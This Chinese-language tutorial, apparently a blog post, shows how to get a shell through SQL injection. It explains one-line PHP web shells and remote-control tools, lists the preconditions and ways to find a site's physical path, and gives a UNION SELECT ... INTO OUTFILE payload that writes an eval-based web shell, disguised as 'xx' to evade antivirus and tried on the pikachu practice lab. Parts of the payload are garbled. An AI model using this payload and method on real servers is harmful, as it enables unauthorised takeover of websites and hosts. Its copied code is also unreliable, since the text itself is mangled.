一、引入
木马介绍:
木马其实就是一段程序,这个程序运行到目标主机上时,主要可以对目标进行远程控制、盗取信息等功能,一般不会破坏目标主机,当然,这也看黑客是否想要搞破坏。
木马类型:
按照功能分类:远控型、破坏型、流氓软件型、盗取信息型等等
按照连接方式分类:正向连接、反向连接、无连接等
按照功能大小分类:大马、小马、一句话木马
不同的开发语言,都可以写出这些木马程序,网上也能找到很多别人写好的木马程序拿来使用,但是使用别人的木马程序要小心程序中的后门,因为你的劳动成果很有可能被后门窃取了。
大致过程:
我们要通过sql注入点来写入一句话木马程序到目标服务器。 通过网址和连接密码就可以连接上我们上传的一句话木马程序,通过工具(eg:菜刀,蚁剑,冰蝎,哥斯拉等)就可以控制目标主机了。
原理:其实就是该工具给我们上传的相应php文件中的一句话木马程序发送了post请求,并且携带了指令数据,数据格式 :jaden:系统指令,eg:jaden:dir,那么一句话木马中 $_POST('jaden')取出dir这个字符串的值,eval这个程序就是将字符串的指令带入到系统中当作系统指令来执行。然后将执行结果返回给了工具,工具再显示出来。
利用条件:
1.木马上传成功了(访问创建的木马程序时不会报错!)
2.知道木马的路径在哪里
3.上传的木马能够正常运行
一、SQL注入getshell前提条件
1.mysql开启了"secure_file_priv="""的配置
2.知道了网站代码的真实物理路径
3.物理路径具备写入权限
4.最好是mysql的root用户,这个条件非必需,但是有最好
如图:开启配置
[Jadenkal2021] [Win10_tools] [Jaden2003gongfan]
补:
①mysql开启"secure_file_priv=""的配置:
在my.ini文件(上篇文章已具体介绍该文件在哪个位置,在这里不再具体说明)中添加--即可开启
②获得后台真实物理路径的方法
1、收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息
3、指纹信息收集
nginx默认站点目录:/usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache默认站点目录:/var/ww/html
4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
5、其他思路:不断进行尝试。
先来测试一下在数据库中用sql语句创建文件:
在相应目录下打开查看是否创建成功
二、测试
在pikachu靶场(依然以字符型注入为例)进行尝试(!!!一定要确定这里有注入点才可进行测试,否则无效)
①通过注入点(在数据库中先进行了测试)写入木马程序
union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\IphpStudy\\PHPTutorial\\ww\\jaden.php"+--+
xx表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。
注入:
开始正式注入测试
在URL后面添加语句: union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\\IphpStudy\\PHPTutorial\ww\\jaden.php"+--+
文件效果:
只要这个'一句话木马程序' 在用sql语句创建的文件里,不论在哪个位置,都可以利用它!
利用工具连接:
连接成功!